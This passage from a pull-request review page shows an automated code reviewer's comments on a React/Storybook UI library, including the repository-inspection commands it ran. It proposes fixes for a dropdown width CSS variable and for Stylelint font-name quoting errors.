its own button. Locate the DropdownMenuTrigger/ Button usage in Modal.stories
(the block with DropdownMenuTrigger and Button rendering "Bangladesh, United
States") and add asChild to DropdownMenuTrigger so the Button becomes the actual
trigger element and avoids invalid nested buttons.
| <ChevronDownIcon className="size-4 opacity-50" /> | ||
| </Button> | ||
| </DropdownMenuTrigger> | ||
| <DropdownMenuContent className="w-[var(--anchor-width)]"> |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, find the file and check its contents around line 91
find . -name "Modal.stories.tsx" -type fRepository: getdokan/plugin-ui
Length of output: 100
🏁 Script executed:
# Read the Modal.stories.tsx file to see the context around line 91
if [ -f "src/components/ui/Modal.stories.tsx" ]; then
sed -n '85,100p' "src/components/ui/Modal.stories.tsx"
fiRepository: getdokan/plugin-ui
Length of output: 746
🏁 Script executed:
# Search for any custom CSS variables or styles that might define --anchor-width
rg "\-\-anchor-width" --type css --type scss --type tsx --type tsRepository: getdokan/plugin-ui
Length of output: 91
🏁 Script executed:
# Search for Radix UI dropdown related CSS variables in the codebase
rg "radix-dropdown-menu-trigger-width|radix-popper-anchor-width" --type css --type scss --type tsx --type tsRepository: getdokan/plugin-ui
Length of output: 91
🏁 Script executed:
# Check if there's any CSS or styling file that might define custom variables
find . -name "*.css" -o -name "*.scss" | head -20Repository: getdokan/plugin-ui
Length of output: 134
🏁 Script executed:
# Check the CSS files for --anchor-width or any dropdown-related variables
cat src/styles.cssRepository: getdokan/plugin-ui
Length of output: 9459
🏁 Script executed:
# Check the tweakcn CSS file
cat src/tweakcn.cssRepository: getdokan/plugin-ui
Length of output: 6945
🏁 Script executed:
# Check the WordPress style CSS
cat src/components/wordpress/style.cssRepository: getdokan/plugin-ui
Length of output: 4475
🏁 Script executed:
# Search for other dropdown implementations in the codebase
rg "DropdownMenuContent" -A 3 -B 3Repository: getdokan/plugin-ui
Length of output: 13735
🌐 Web query:
Radix UI DropdownMenu trigger width CSS variable documentation
💡 Result:
The Radix UI DropdownMenu exposes a CSS custom property --radix-dropdown-menu-trigger-width that provides the computed width of the DropdownMenu.Trigger element. This variable is available on the DropdownMenu.Content (and SubContent) and is used for positioning and sizing the dropdown content relative to the trigger. It is listed in the official documentation among other related CSS variables: --radix-dropdown-menu-content-transform-origin: The transform-origin computed from the content and arrow positions/offsets --radix-dropdown-menu-content-available-width: The remaining width between the trigger and the boundary edge --radix-dropdown-menu-content-available-height: The remaining height between the trigger and the boundary edge --radix-dropdown-menu-trigger-width: The width of the trigger --radix-dropdown-menu-trigger-height: The height of the trigger Example usage to match content width to trigger width: .DropdownMenuContent { width: var(--radix-dropdown-menu-trigger-width); } Source code confirms this variable is documented for constraining content size to match the trigger.
Citations:
- 1: https://www.radix-ui.com/primitives/docs/components/dropdown-menu
- 2: https://github.com/radix-ui/website/blob/main/data/primitives/docs/components/dropdown-menu.mdx
--anchor-width is not a valid Radix UI CSS variable; the dropdown content will not match the trigger width.
The correct variable for matching DropdownMenuContent to its trigger width is --radix-dropdown-menu-trigger-width, which Radix UI exposes on the dropdown content element. Using --anchor-width (which is undefined) will cause the dropdown to render at its natural width instead of spanning the trigger.
🐛 Proposed fix
- <DropdownMenuContent className="w-[var(--anchor-width)]">
+ <DropdownMenuContent className="w-[--radix-dropdown-menu-trigger-width]">🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/ui/Modal.stories.tsx` at line 91, The DropdownMenuContent is
using an invalid CSS variable (--anchor-width) so the menu won't match the
trigger; update the className on DropdownMenuContent to use the Radix-provided
variable --radix-dropdown-menu-trigger-width (i.e., replace any reference to
--anchor-width with --radix-dropdown-menu-trigger-width) so the dropdown content
width matches the trigger element; locate the usage in the DropdownMenuContent
component in Modal.stories.tsx to apply the change.
| --font-sans: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji'; | ||
| --font-serif: ui-serif, Georgia, Cambria, "Times New Roman", Times, serif; | ||
| --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; |
There was a problem hiding this comment.
Quote non-generic font family names to resolve Stylelint value-keyword-case errors.
Stylelint flags BlinkMacSystemFont, Roboto, Arial, Georgia, Cambria, Times, SFMono-Regular, Menlo, Monaco, and Consolas as [error] because they're unquoted proper names treated as CSS identifiers. Quoted strings are exempt from the value-keyword-case rule.
🎨 Proposed fix
- --font-sans: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
- --font-serif: ui-serif, Georgia, Cambria, "Times New Roman", Times, serif;
- --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
+ --font-sans: ui-sans-serif, system-ui, -apple-system, 'BlinkMacSystemFont', 'Segoe UI', 'Roboto', 'Helvetica Neue', 'Arial', 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
+ --font-serif: ui-serif, 'Georgia', 'Cambria', "Times New Roman", 'Times', serif;
+ --font-mono: ui-monospace, 'SFMono-Regular', 'Menlo', 'Monaco', 'Consolas', "Liberation Mono", "Courier New", monospace;📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| --font-sans: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji'; | |
| --font-serif: ui-serif, Georgia, Cambria, "Times New Roman", Times, serif; | |
| --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; | |
| --font-sans: ui-sans-serif, system-ui, -apple-system, 'BlinkMacSystemFont', 'Segoe UI', 'Roboto', 'Helvetica Neue', 'Arial', 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji'; | |
| --font-serif: ui-serif, 'Georgia', 'Cambria', "Times New Roman", 'Times', serif; | |
| --font-mono: ui-monospace, 'SFMono-Regular', 'Menlo', 'Monaco', 'Consolas', "Liberation Mono", "Courier New", monospace; |
🧰 Tools
🪛 Stylelint (17.10.0)
[error] 77-77: Expected "BlinkMacSystemFont" to be "blinkmacsystemfont" (value-keyword-case)
(value-keyword-case)
[error] 77-77: Expected "Roboto" to be "roboto" (value-keyword-case)
(value-keyword-case)
[error] 77-77: Expected "Arial" to be "arial" (value-keyword-case)
(value-keyword-case)
[error] 78-78: Expected "Georgia" to be "georgia" (value-keyword-case)
(value-keyword-case)
[error] 78-78: Expected "Cambria" to be "cambria" (value-keyword-case)
(value-keyword-case)
[error] 78-78: Expected "Times" to be "times" (value-keyword-case)
(value-keyword-case)
[error] 79-79: Expected "SFMono-Regular" to be "sfmono-regular" (value-keyword-case)
(value-keyword-case)
[error] 79-79: Expected "Menlo" to be "menlo" (value-keyword-case)
(value-keyword-case)
[error] 79-79: Expected "Monaco" to be "monaco" (value-keyword-case)
(value-keyword-case)
[error] 79-79: Expected "Consolas" to be "consolas" (value-keyword-case)
(value-keyword-case)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/styles.css` around lines 77 - 79, Stylelint errors are caused by unquoted
proper font family names in the CSS variables (--font-sans, --font-serif,
--font-mono); update those variables so that all non-generic/proper names (e.g.,
BlinkMacSystemFont, Roboto, Arial, Georgia, Cambria, Times, SFMono-Regular,
Menlo, Monaco, Consolas) are wrapped in quotes while leaving generic family
keywords (e.g., sans-serif, serif, monospace) unquoted, ensuring each value list
in --font-sans, --font-serif, and --font-mono uses quoted strings for multi-word
or proper names to satisfy the value-keyword-case rule.
add
Confirmationcomponents examples for the storybookSummary by CodeRabbit
New Features
Style
Accessibility
Documentation